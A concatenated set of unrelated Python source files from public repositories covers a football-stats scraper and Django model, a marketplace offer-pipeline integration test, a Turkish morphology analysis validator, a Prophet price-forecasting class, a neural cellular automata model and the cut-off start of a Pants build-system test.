'0'\n else:\n season_stat = '0'\n if \"'\" in season_stat: season_stat = season_stat.replace(\"'\", \"\")\n if \".\" in season_stat: season_stat = season_stat.replace(\".\", \"\")\n if selector != '#yw1 > table > tfoot > tr > td:nth-child(8)': season_stat = int(season_stat)\n season_stat_list.append(season_stat)\n \n return season_stat_list\n \ndef convert_tm_mins_to_int(string):\n if \"'\" in string: new_string = string.replace(\"'\", \"\")\n if \".\" in string: new_string = new_string.replace(\".\", \"\")\n return int(new_string)\n\ndef unify_seasons_digits_list(seasons_list):\n correct_seasons_list = []\n for season in seasons_list:\n if len(season) == 5: # means that in this case we've got two digits seasons names separated by /, e.g. 07/08\n new_season_str_two_digits = season.replace(season[2:len(season)], '')\n if int(new_season_str_two_digits) < 30: \n new_season = list(new_season_str_two_digits)\n new_season.insert(0, '20')\n new_season = int(''.join(new_season))\n correct_seasons_list.append(new_season)\n else:\n new_season = list(new_season_str_two_digits)\n new_season.insert(0, '19')\n new_season = int(''.join(new_season))\n correct_seasons_list.append(new_season)\n elif len(season) == 4: # for leagues where one season = one year, e.g. Brazil: 2001\n correct_seasons_list.append(int(season))\n return correct_seasons_list\n\ndef get_gameinfo_page_content(url):\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(url, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n\ndef get_ordered_goal_types_dict(allgoals_list):\n right_footed_shot = allgoals_list.count('Right-footed shot')\n left_footed_shot = allgoals_list.count('Left-footed shot')\n header = allgoals_list.count('Header')\n penalty = allgoals_list.count('Penalty')\n direct_free_kick = allgoals_list.count('Direct free kick')\n long_distance_kick = allgoals_list.count('Long distance kick')\n tap_in = allgoals_list.count('Tap-in') + allgoals_list.count('Penalty rebound')\n other = allgoals_list.count('Counter attack goal') + allgoals_list.count('Solo run') + allgoals_list.count('Deflected shot on goal') + allgoals_list.count('Chest') + allgoals_list.count('Direct corner')\n unknown = allgoals_list.count('Unknown')\n goal_type_dict = {\n 'right_footed_shot': right_footed_shot,\n 'left_footed_shot': left_footed_shot,\n 'header': header,\n 'penalty': penalty,\n 'direct_free_kick': direct_free_kick,\n 'long_distance_kick': long_distance_kick,\n 'tap_in': tap_in,\n 'other': other,\n 'unknown': unknown,\n }\n return goal_type_dict\n\ndef verify_goal_type(string):\n all_possible_goal_types = ['Right-footed shot', 'Left-footed shot', 'Header', 'Penalty', 'Direct free kick', 'Long distance kick', 'Penalty rebound', 'Counter attack goal', 'Solo run', 'Deflected shot on goal', 'Chest', 'Direct corner', 'Unknown']\n for goal_type in all_possible_goal_types:\n if goal_type in string:\n type_of_goal = goal_type\n break\n else: \n type_of_goal = \"Unknown\"\n continue\n return type_of_goal \n\ndef get_league_weight(league_name):\n if league_name in leagues_weights.keys(): #leagues_weights can be found in constants file\n league_weight = leagues_weights[league_name]\n else: league_weight = 0\n return league_weight\n\ndef calculate_sb_index(goals, assists, minutes, weight):\n try:\n return round((((goals + assists) / (minutes/90)) * weight) * (minutes / 1000), 2)\n except ZeroDivisionError: \n return 0\n\n\n####################\n\nclass League(models.Model):\n def __str__(self):\n return '{}'.format(self.name)\n\n name = models.CharField(max_length=500, blank=True, null=True)\n season = models.IntegerField(blank=True, null=True)\n weight = models.FloatField(blank=True, null=True)\n \ndef get_leagues_weights():\n for league in League.objects.all():\n league.weight = leagues_weights[league.name]\n league.save()","repo_name":"KarolSakwa/StatBase","sub_path":"myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":43176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"442030689","text":"import pytest\nfrom hamcrest import assert_that, equal_to\n\nfrom market.idx.yatf.matchers.protobuf_matchers import IsSerializedProtobuf\nfrom market.idx.yatf.resources.lbk_topic import LbkTopic\nfrom market.idx.pylibrary.datacamp.utils import wait_until\nfrom market.idx.pylibrary.datacamp.conversion import offer_to_basic_row, offer_to_service_row\nfrom market.idx.datacamp.proto.offer import DataCampOffer_pb2 as DTC\nfrom market.idx.datacamp.proto.api.SyncChangeOffer_pb2 import FullOfferResponse\nfrom market.idx.datacamp.yatf.utils import create_meta, dict2tskv\nfrom market.idx.datacamp.yatf.matchers.matchers import HasStatus\nfrom market.idx.datacamp.dispatcher.yatf.test_env import DispatcherTestEnv\nfrom market.idx.datacamp.dispatcher.yatf.resources.config import DispatcherConfig\nfrom market.idx.datacamp.controllers.stroller.yatf.utils import assert_miner_topic_data, DisabledFlag, shops_request, prepare_expected_with_flags, request_with_price\nfrom market.idx.datacamp.controllers.stroller.yatf.test_env import make_stroller\n\n\nBUSINESS_ID = 1000\nSHOP_ID = 1\nWAREHOUSE_ID = 6000\n\nOFFERS = [\n (\n 'T1001',\n DTC.AVAILABLE,\n None\n ),\n]\n\n\n@pytest.fixture(scope='module')\ndef partners():\n return [\n {\n 'shop_id': SHOP_ID,\n 'mbi': '\\n\\n'.join([\n dict2tskv({\n 'shop_id': SHOP_ID,\n 'warehouse_id': WAREHOUSE_ID,\n 'datafeed_id': 100,\n 'business_id': BUSINESS_ID,\n 'is_discounts_enabled': 'true',\n }),\n ]),\n }\n]\n\n\n@pytest.fixture(scope='module')\ndef basic_offers():\n return [\n offer_to_basic_row(DTC.Offer(\n identifiers=DTC.OfferIdentifiers(\n business_id=BUSINESS_ID,\n offer_id=offer_id,\n ),\n meta=create_meta(10, scope=DTC.BASIC),\n )) for offer_id, _, _ in OFFERS\n ]\n\n\n@pytest.fixture(scope='module')\ndef service_offers():\n return [\n offer_to_service_row(DTC.Offer(\n identifiers=DTC.OfferIdentifiers(\n business_id=BUSINESS_ID,\n offer_id=offer_id,\n shop_id=SHOP_ID,\n warehouse_id=0,\n ),\n meta=create_meta(10, color=DTC.BLUE, scope=DTC.SERVICE),\n price=price,\n status=DTC.OfferStatus(\n publish_by_partner=status\n ) if status else None,\n )) for offer_id, status, price in OFFERS\n ]\n\n\n@pytest.fixture(scope='module')\ndef actual_service_offers():\n return [\n offer_to_service_row(DTC.Offer(\n identifiers=DTC.OfferIdentifiers(\n business_id=BUSINESS_ID,\n offer_id=offer_id,\n shop_id=SHOP_ID,\n warehouse_id=WAREHOUSE_ID,\n ),\n meta=create_meta(10, color=DTC.BLUE, scope=DTC.SERVICE),\n status=DTC.OfferStatus(\n publish=status,\n ) if status else None\n )) for offer_id, status, _ in OFFERS\n ]\n\n\n@pytest.fixture(scope='module')\ndef miner_topic(log_broker_stuff):\n topic = LbkTopic(log_broker_stuff, 'topic-to-miner')\n return topic\n\n\n@pytest.fixture(scope='module')\ndef dispatcher_config(\n yt_token,\n yt_server,\n log_broker_stuff,\n basic_offers_table,\n service_offers_table,\n actual_service_offers_table,\n miner_topic,\n subscription_service_topic,\n):\n cfg = DispatcherConfig()\n cfg.create_initializer(yt_server=yt_server, yt_token_path=yt_token.path, extra_params={\n 'SubscriptionOverrides': {\n 'MINER_SUBSCRIBER': {\n 'price.basic.binary_price': 'ST_EXISTENCE_TRIGGER'\n }\n }\n })\n\n reader = cfg.create_lb_reader(log_broker_stuff, subscription_service_topic)\n unpacker = cfg.create_subscription_message_unpacker()\n dispatcher = cfg.create_subscription_dispatcher(\n basic_offers_table.table_path, service_offers_table.table_path, actual_service_offers_table.table_path\n )\n cfg.create_link(reader, unpacker)\n cfg.create_link(unpacker, dispatcher)\n\n filter = cfg.create_subscription_filter('MINER_SUBSCRIBER', extra_params={\n 'Mode': 'MIXED',\n 'Color': 'UNKNOWN_COLOR;WHITE;BLUE;TURBO;LAVKA;EDA;DIRECT;DIRECT_SITE_PREVIEW;DIRECT_STANDBY;DIRECT_GOODS_ADS;DIRECT_SEARCH_SNIPPET_GALLERY',\n })\n enricher = cfg.create_miner_enricher()\n sender = cfg.create_subscription_sender()\n lb_writer = cfg.create_lb_writer(log_broker_stuff, miner_topic)\n\n cfg.create_link(dispatcher, filter)\n cfg.create_link(filter, enricher)\n cfg.create_link(enricher, sender)\n cfg.create_link(sender, lb_writer)\n\n return cfg\n\n\n@pytest.yield_fixture(scope='module')\ndef dispatcher(\n dispatcher_config,\n basic_offers_table,\n service_offers_table,\n actual_service_offers_table,\n subscription_service_topic,\n miner_topic\n):\n resources = {\n 'dispatcher_config': dispatcher_config,\n 'basic_offers_table': basic_offers_table,\n 'service_offers_table': service_offers_table,\n 'actual_service_offers_table': actual_service_offers_table,\n 'subscription_service_topic': subscription_service_topic,\n 'miner_topic': miner_topic\n }\n\n with DispatcherTestEnv(**resources) as env:\n env.verify()\n yield env\n\n\n@pytest.yield_fixture(scope='module')\ndef stroller(\n config,\n yt_server,\n log_broker_stuff,\n partners_table,\n basic_offers_table,\n service_offers_table,\n actual_service_offers_table,\n):\n with make_stroller(\n config,\n yt_server,\n log_broker_stuff,\n shopsdat_cacher=True,\n partners_table=partners_table,\n basic_offers_table=basic_offers_table,\n service_offers_table=service_offers_table,\n actual_service_offers_table=actual_service_offers_table,\n ) as stroller_env:\n yield stroller_env\n\n\ndef test_single_push(dispatcher, stroller, miner_topic):\n '''Проверяет:\n - офер выключается и включается при добавлении одного флага\n - пуш источники равноправны и пишутся поверх друг друга\n - оффер отправляется на переобогащение в miner\n '''\n processed_before_update = dispatcher.subscription_dispatcher_processed\n disabled = DisabledFlag(flag=True, source=DTC.PUSH_PARTNER_OFFICE, timestamp='2019-02-15T15:55:55Z')\n response = shops_request(stroller, shop_id=SHOP_ID, offer_id='T1001', warehouse_id=WAREHOUSE_ID, flag=disabled)\n assert_that(response, HasStatus(200))\n expected_data = prepare_expected_with_flags(SHOP_ID, 'T1001', WAREHOUSE_ID, [disabled])\n assert_that(response.data, IsSerializedProtobuf(FullOfferResponse, expected_data))\n assert_that(response.headers['Content-type'], equal_to('application/x-protobuf'))\n\n wait_until(lambda: dispatcher.subscription_dispatcher_processed >= processed_before_update + 1, timeout=10)\n data = miner_topic.read(count=1, wait_timeout=60)\n assert_miner_topic_data(data, BUSINESS_ID, SHOP_ID, 'T1001', WAREHOUSE_ID)\n\n enabled = DisabledFlag(flag=False, source=DTC.PUSH_PARTNER_OFFICE, timestamp='2019-02-15T16:11:11Z')\n response = shops_request(stroller, shop_id=SHOP_ID, offer_id='T1001', warehouse_id=WAREHOUSE_ID, flag=enabled)\n assert_that(response, HasStatus(200))\n expected_data = prepare_expected_with_flags(SHOP_ID, 'T1001', WAREHOUSE_ID, flags=[enabled])\n assert_that(response.data, IsSerializedProtobuf(FullOfferResponse, expected_data))\n\n\ndef test_send_offer_to_miner_after_creation(dispatcher, stroller, miner_topic):\n \"\"\"Проверяем, что после создания, оффер записан в топик, который читает miner\"\"\"\n processed_before_update = dispatcher.subscription_dispatcher_processed\n disabled = DisabledFlag(flag=True, source=DTC.PUSH_PARTNER_OFFICE, timestamp='2019-02-15T15:55:55Z')\n response = shops_request(\n stroller, shop_id=SHOP_ID, offer_id='NewOffer02', warehouse_id=WAREHOUSE_ID, flag=disabled,\n send_ids_only_by_uri=True, send_disable_only_by_uri=True\n )\n assert_that(response, HasStatus(200))\n expected_data = prepare_expected_with_flags(\n SHOP_ID, 'NewOffer02', WAREHOUSE_ID, [disabled],\n send_disable_only_by_uri=True\n )\n assert_that(response.data, IsSerializedProtobuf(FullOfferResponse, expected_data))\n\n wait_until(lambda: dispatcher.subscription_dispatcher_processed >= processed_before_update + 1, timeout=10)\n data = miner_topic.read(count=1, wait_timeout=60)\n assert_miner_topic_data(data, BUSINESS_ID, SHOP_ID, 'NewOffer02', WAREHOUSE_ID)\n\n\ndef test_send_offer_to_miner_after_price_update(dispatcher, stroller, miner_topic):\n \"\"\"Проверяем, что после изменения цены офер записал в топик, который читает miner\"\"\"\n processed_before_update = dispatcher.subscription_dispatcher_processed\n source = DTC.PUSH_PARTNER_API\n timestamp = '2019-04-18T15:58:00Z'\n shop_id = SHOP_ID\n offer_id = 'T1001'\n price = 6000000000\n\n response = request_with_price(stroller, shop_id=shop_id, offer_id=offer_id, warehouse_id=WAREHOUSE_ID, price=price, source=source, ts=timestamp)\n assert_that(response, HasStatus(200))\n\n # Проверяем, что оффер отправлен в miner\n wait_until(lambda: dispatcher.subscription_dispatcher_processed >= processed_before_update + 1, timeout=10)\n data = miner_topic.read(count=1, wait_timeout=60)\n assert_miner_topic_data(data, BUSINESS_ID, shop_id, offer_id, WAREHOUSE_ID)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/tests/stroller_dispatcher/test_send_to_miner.py","file_name":"test_send_to_miner.py","file_ext":"py","file_size_in_byte":9747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26052530862","text":"from typing import Optional\n\nfrom turkish_morphology import analysis_pb2\n\n_Affix = analysis_pb2.Affix\n_Analysis = analysis_pb2.Analysis\n_Feature = analysis_pb2.Feature\n_Ig = analysis_pb2.InflectionalGroup\n_Root = analysis_pb2.Root\n\n\nclass IllformedAnalysisError(Exception):\n \"\"\"Raised when a human-readable analysis is structurally ill-formed.\"\"\"\n\n\ndef _root(root: _Root) -> None:\n \"\"\"Checks if root is structurally well-formed.\n\n Args:\n root: root analysis.\n\n Raises:\n IllformedAnalysisError: root is missing the morpheme field, or its\n morpheme field is set as empty string.\n \"\"\"\n if not root.HasField(\"morpheme\"):\n raise IllformedAnalysisError(f\"Root is missing morpheme: '{root}'\")\n\n if not root.morpheme:\n raise IllformedAnalysisError(f\"Root morpheme is empty: '{root}'\")\n\n\ndef _feature(feature: _Feature) -> None:\n \"\"\"Checks if feature is structurally well-formed.\n\n Args:\n feature: morphological analysis feature.\n\n Raises:\n IllformedAnalysisError: feature is missing category or value field, or\n its category or value field is set as empty string.\n \"\"\"\n if not feature.HasField(\"category\"):\n raise IllformedAnalysisError(f\"Feature is missing category: '{feature}'\")\n\n if not feature.category:\n raise IllformedAnalysisError(f\"Feature category is empty: '{feature}'\")\n\n if not feature.HasField(\"value\"):\n raise IllformedAnalysisError(f\"Feature is missing value: '{feature}'\")\n\n if not feature.value:\n raise IllformedAnalysisError(f\"Feature value is empty: '{feature}'\")\n\n\ndef _affix(affix: _Affix, derivational: Optional[bool] = False) -> None:\n \"\"\"Checks if affix is structurally well-formed.\n\n Args:\n affix: affix analysis.\n derivational: if True, affix corresponds to a derivational feature.\n\n Raises:\n IllformedAnalysisError: affix is missing the feature field, or affix is\n derivational but its meta_morpheme field is missing or its meta_morpheme\n field is set as empty string.\n \"\"\"\n if not affix.HasField(\"feature\"):\n raise IllformedAnalysisError(f\"Affix is missing feature: '{affix}'\")\n\n _feature(affix.feature)\n\n if not derivational:\n return\n\n if not affix.HasField(\"meta_morpheme\"):\n raise IllformedAnalysisError(\n f\"Derivational affix is missing meta-morpheme: '{affix}'\")\n\n if not affix.meta_morpheme:\n raise IllformedAnalysisError(\n f\"Derivational affix meta-morpheme is empty: '{affix}'\")\n\n\ndef _inflectional_group(ig: _Ig, position: int) -> None:\n \"\"\"Checks if inflectional group is structurally well-formed.\n\n Args:\n ig: inflectional group analysis.\n position: index of the inflectional group w.r.t. the array of inflectional\n groups of the morphological analysis it belongs to.\n\n Raises:\n IllformedAnalysisError: inflectional group is missing part-of-speech tag,\n or its part-of-speech tag is set as empty string, or inflectional group\n is the first in morphological analysis and it is missing the root field,\n or inflectional group is derived and it is missing the derivation field.\n \"\"\"\n if not ig.HasField(\"pos\"):\n raise IllformedAnalysisError(\n f\"Inflectional group {position + 1} is missing part-of-speech tag:\"\n f\" '{ig}'\")\n\n if not ig.pos:\n raise IllformedAnalysisError(\n f\"Inflectional group {position + 1} part-of-speech tag is empty:\"\n f\" '{ig}'\")\n\n if position == 0:\n if not ig.HasField(\"root\"):\n raise IllformedAnalysisError(\n f\"Inflectional group {position + 1} is missing root: '{ig}'\")\n\n _root(ig.root)\n else:\n if not ig.HasField(\"derivation\"):\n raise IllformedAnalysisError(\n f\"Inflectional group {position + 1} is missing derivational affix:\"\n f\" '{ig}'\")\n\n _affix(ig.derivation, derivational=True)\n\n for inflection in ig.inflection:\n _affix(inflection)\n\n\ndef analysis(analysis: _Analysis) -> None:\n \"\"\"Checks if analysis protobuf is structurally well-formed.\n\n Args:\n analysis: morphological analysis.\n\n Raises:\n IllformedAnalysisError: analysis is missing inflectional groups.\n \"\"\"\n if not analysis.ig:\n raise IllformedAnalysisError(\n \"Analysis is missing inflectional groups: 'analysis'\")\n\n for position, ig in enumerate(analysis.ig):\n _inflectional_group(ig, position)\n","repo_name":"google-research/turkish-morphology","sub_path":"turkish_morphology/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"72"} +{"seq_id":"23247315468","text":"from fbprophet import Prophet\nfrom fbprophet.plot import plot_forecast_component\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nclass ProphetModel:\n\n #=================================function for plotting the predition===============================================\n def prediction_prophet(x,y,category_name,sainsonalitaetW:bool, saisonalitaetM:bool,saisonalitaetY:bool, gesetzlicheFeiertag:bool, sondereffekt:int, predict_period:int):\n plt.plot(x, y, marker='x')\n plt.title(\"Durchschnittliche Preisentwicklung von Kategorie '%s'\" % category_name)\n plt.xlabel(\"Datum\")\n plt.ylabel(\"durchschnittliche Produktpreise (€)\")\n plt.grid()\n plt.tight_layout()\n\n dict_price = {\"ds\":x,\"y\":y}\n dataframe_avg_price = pd.DataFrame(dict_price)\n\n Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown',\n 'ds': pd.to_datetime(\n ['2020-03-13'\n ]),\n 'lower_window': 0,\n 'upper_window': 6,\n })\n\n Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown',\n 'ds': pd.to_datetime(\n ['2020-4-27'\n ]),\n 'lower_window': 0,\n 'upper_window': 6,\n })\n\n Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown',\n 'ds': pd.to_datetime(\n ['2020-10-28'\n ]),\n 'lower_window': 0,\n 'upper_window': 8,\n })\n\n Preisaenderung_in_amazon_prime_day = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_amazon_prime_day',\n 'ds': pd.to_datetime(['2020-10-13', '2020-10-14']),\n 'lower_window': -3,\n 'upper_window': 3,\n })\n\n Preisaenderung_in_black_friday = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_black_friday',\n 'ds': pd.to_datetime(['2020-11-27']),\n 'lower_window': -3,\n 'upper_window': 4,\n })\n\n Preisaenderung_in_singles_day = pd.DataFrame({\n 'holiday': 'Preisaenderung_in_singles_day',\n 'ds': pd.to_datetime(['2020-11-11']),\n 'lower_window': -2,\n 'upper_window': 2,\n })\n\n ### Sondereffekte\n if sondereffekt == 1:\n #corona\n holiday = pd.concat((Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown,\n Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown,\n Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown))\n elif sondereffekt == 2:\n #werbeaktion\n holiday = pd.concat((Preisaenderung_in_amazon_prime_day,\n Preisaenderung_in_black_friday,\n Preisaenderung_in_singles_day))\n elif sondereffekt == 3:\n #coronaAndWerbeaktion\n holiday = pd.concat((Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown,\n Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown,\n Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown,\n Preisaenderung_in_amazon_prime_day,\n Preisaenderung_in_black_friday,\n Preisaenderung_in_singles_day\n ))\n\n ###Model fit\n if sondereffekt == 0:\n m = Prophet(weekly_seasonality = False)\n else:\n m = Prophet(holidays= holiday,weekly_seasonality = False)\n\n #Saisonalitäten\n if sainsonalitaetW == True:\n m.add_seasonality(name = 'weekly',period = 7, fourier_order = 3)\n if saisonalitaetM == True:\n m.add_seasonality(name ='monthly', period=30.5, fourier_order=5)\n if saisonalitaetY == True:\n m.add_seasonality(name ='yearly', period=365.25, fourier_order=10)\n\n\n #gesetztliche Feiertage\n if gesetzlicheFeiertag == True:\n m.add_country_holidays(country_name='DE')\n\n\n m.fit(dataframe_avg_price)\n\n ###Predict\n future = m.make_future_dataframe(periods=predict_period)\n #print(\"future\", future.tail())\n\n forecast = m.predict(future)\n #forecast[['ds', 'yhat', 'yhat_lower', 'yhat_upper']].tail()\n\n ###Plot results\n m.plot(forecast)\n\n m.plot_components(forecast)\n\n if sondereffekt == 1:\n #corona\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown')\n\n if sondereffekt == 2:\n #werbeaktion\n plot_forecast_component(m, forecast, 'Preisaenderung_in_black_friday')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_amazon_prime_day')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_singles_day')\n\n if sondereffekt == 3:\n #coronaAndWerbeaktion\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_ab_Ankuendigung_von_erstem_Lockdown')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_ab_Aufhebung_von_erstem_Lockdown')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_einer_Woche_Ankuendigung_Teil_Lockdown')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_black_friday')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_amazon_prime_day')\n\n plot_forecast_component(m, forecast, 'Preisaenderung_in_singles_day')\n\n plt.show()\n\n","repo_name":"InaXin/BachelorArbeit","sub_path":"FacebookProphetModel.py","file_name":"FacebookProphetModel.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10747582182","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nimport numpy as np\n\n\nclass CAModel(nn.Module):\n def __init__(self, hyperparams):\n super(CAModel, self).__init__()\n\n self.device = hyperparams['Device']\n self.batch_sz = hyperparams['Batch Size']\n self.hidden_size = hyperparams['Hidden dim.']\n self.channel_n = hyperparams['Channels']\n self.laplace = hyperparams['Laplace']\n self.fire_rate = hyperparams['Fire rate']\n self.model_type = hyperparams['Model Type']\n\n self.to(self.device)\n\n if self.model_type == 'FC':\n self.layer_0 = nn.Linear(self.channel_n * (3 + self.laplace), self.hidden_size)\n self.layer_1 = nn.Linear(self.hidden_size, self.channel_n, bias=False)\n with torch.no_grad():\n self.layer_1.weight.zero_()\n\n self.propogate = self.propogate_fc\n\n else:\n self.layer_0 = nn.Conv2d(self.channel_n* (3 + self.laplace),\n self.hidden_size, 3, 1, padding=1)\n self.layer_1 = nn.Conv2d(self.hidden_size, self.channel_n, 1, 1)\n\n nn.init.zeros_(self.layer_1.weight)\n nn.init.zeros_(self.layer_1.bias)\n\n self.propogate = self.propogate_cnn\n\n self.max_pool = nn.MaxPool2d(3, 1, padding=1)\n self.relu = nn.ReLU()\n self.sobel_x = None\n self.sobel_y = None\n\n self.prep_deriviatives()\n\n def prep_deriviatives(self):\n self.sobel_x = torch.from_numpy(np.outer([1, 2, 1],\n [-1, 0, 1]) / 8.0).float()\n self.sobel_y = self.sobel_x.T\n\n self.sobel_x = self.sobel_x.repeat(self.channel_n, 1, 1, 1).to(self.device)\n self.sobel_y = self.sobel_y.repeat(self.channel_n, 1, 1, 1).to(self.device)\n\n self.laplas = torch.tensor([[1.0, 2.0, 1.0],\n [2.0, -12, 2.0],\n [1.0, 2.0, 1.0]])\n self.laplas = self.laplas.repeat(self.channel_n, 1, 1, 1).to(self.device)\n\n # Steps\n def alive(self, x):\n return self.max_pool(x[:, 3, :, :]) > 0.1\n\n def perceive(self, x, angle, laplace=False):\n\n c = np.cos(angle * np.pi / 180)\n s = np.sin(angle * np.pi / 180)\n w1 = c * self.sobel_x - s * self.sobel_y\n w2 = s * self.sobel_x + c * self.sobel_y\n\n y1 = F.conv2d(x, w1, padding=1, groups=self.channel_n)\n y2 = F.conv2d(x, w2, padding=1, groups=self.channel_n)\n\n y = torch.cat((x, y1, y2), 1)\n\n if laplace:\n y3 = F.conv2d(x, self.laplas, padding=1, groups=self.channel_n)\n y = torch.cat((y, y3), 1)\n\n return y\n\n def update(self, x, fire_rate, angle, laplace):\n pre_life_mask = self.alive(x)\n\n delta = self.perceive(x, angle, laplace)\n\n delta = self.propogate(delta)\n\n if fire_rate is None:\n fire_rate = self.fire_rate\n\n stochastic = torch.rand([delta.size(0), 1, delta.size()[-2], delta.size()[-1]]) > fire_rate\n stochastic = stochastic.float().to(self.device)\n delta = delta * stochastic\n\n x = x + delta\n\n post_life_mask = self.alive(x)\n life_mask = (pre_life_mask & post_life_mask).float()\n x = x * life_mask.unsqueeze(1)\n return x\n\n def propogate_cnn(self, x):\n x = self.layer_0(x)\n x = self.relu(x)\n x = self.layer_1(x)\n\n return x\n\n def propogate_fc(self,x):\n\n x = x.transpose(1, 3)\n\n x = self.layer_0(x)\n x = self.relu(x)\n x = self.layer_1(x)\n\n x = x.transpose(1, 3)\n\n return x\n\n def forward(self, x, steps=1, fire_rate=None, angle=0.0):\n for step in range(steps):\n x = self.update(x, fire_rate, angle, self.laplace)\n return x\n","repo_name":"Sergo2020/Neural_Automata_pytorch","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27761557799","text":"from pathlib import PurePath\nfrom typing import Iterable, List, NamedTuple, Optional, Tuple, Type\n\nfrom pants.base.specs import (\n AscendantAddresses,\n DescendantAddresses,\n FilesystemLiteralSpec,\n FilesystemResolvedGlobSpec,\n OriginSpec,\n SiblingAddresses,\n SingleAddress,\n)\nfrom pants.core.target_types import FilesSources\nfrom pants.core.util_rules.determine_source_files import (\n AllSourceFilesRequest,\n SourceFiles,\n SpecifiedSourceFilesRequest,\n)\nfrom pants.core.util_rules.determine_source_files import rules as determine_source_files_rules\nfrom pants.core.util_rules.strip_source_roots import rules as strip_source_roots_rules\nfrom pants.engine.addresses import Address\nfrom pants.engine.selectors import Params\nfrom pants.engine.target import Sources as SourcesField\nfrom pants.testutil.option.util import create_options_bootstrapper\nfrom pants.testutil.test_base import TestBase\n\n\nclass TargetSources(NamedTuple):\n source_root: str\n source_files: List[str]\n\n @property\n def source_file_absolute_paths(self) -> List[str]:\n return [PurePath(self.source_root, name).as_posix() for name in self.source_files]\n\n\nSOURCES1 = TargetSources(\"src/python\", [\"s1.py\", \"s2.py\", \"s3.py\"])\nSOURCES2 = TargetSources(\"tests/python\", [\"t1.py\", \"t2.java\"])\nSOURCES3 = TargetSources(\"src/java\", [\"j1.java\", \"j2.java\"])\n\n\nclass DetermineSourceFilesTest(TestBase):\n @classmethod\n def rules(cls):\n return (\n *super().rules(),\n *determine_source_files_rules(),\n *strip_source_roots_rules(),\n )\n\n def mock_sources_field_with_origin(\n self,\n sources: TargetSources,\n *,\n origin: Optional[OriginSpec] = None,\n include_sources: bool = True,\n sources_field_cls: Type[SourcesField] = SourcesField,\n ) -> Tuple[SourcesField, OriginSpec]:\n sources_field = sources_field_cls(\n sources.source_files if include_sources else [],\n address=Address.parse(f\"{sources.source_root}:lib\"),\n )\n self.create_files(path=sources.source_root, files=sources.source_files)\n if origin is None:\n origin = SiblingAddresses(sources.source_root)\n return sources_field, origin\n\n def get_all_source_files(\n self,\n sources_fields_with_origins: Iterable[Tuple[SourcesField, OriginSpec]],\n *,\n strip_source_roots: bool = False,\n ) -> List[str]:\n request = AllSourceFilesRequest(\n (\n sources_field_with_origin[0]\n for sources_field_with_origin in sources_fields_with_origins\n ),\n strip_source_roots=strip_source_roots,\n )\n result = self.request_single_product(\n SourceFiles,\n Params(\n request,\n create_options_bootstrapper(\n args=[\n \"--source-root-patterns=src/python\",\n \"--source-root-patterns=src/java\",\n \"--source-root-patterns=tests/python\",\n ]\n ),\n ),\n )\n return sorted(result.snapshot.files)\n\n def get_specified_source_files(\n self,\n sources_fields_with_origins: Iterable[Tuple[SourcesField, OriginSpec]],\n *,\n strip_source_roots: bool = False,\n ) -> List[str]:\n request = SpecifiedSourceFilesRequest(\n sources_fields_with_origins, strip_source_roots=strip_source_roots,\n )\n result = self.request_single_product(\n SourceFiles,\n Params(\n request,\n create_options_bootstrapper(\n args=[\n \"--source-root-patterns=src/python\",\n \"--source-root-patterns=src/java\",\n \"--source-root-patterns=tests/python\",\n ]\n ),\n ),\n )\n return sorted(result.snapshot.files)\n\n def test_address_specs(self) -> None:\n sources_field1 = self.mock_sources_field_with_origin(\n SOURCES1, origin=SingleAddress(directory=SOURCES1.source_root, name=\"lib\")\n )\n sources_field2 = self.mock_sources_field_with_origin(\n SOURCES2, origin=SiblingAddresses(SOURCES2.source_root)\n )\n sources_field3 = self.mock_sources_field_with_origin(\n SOURCES3, origin=DescendantAddresses(SOURCES3.source_root)\n )\n sources_field4 = self.mock_sources_field_with_origin(\n SOURCES1, 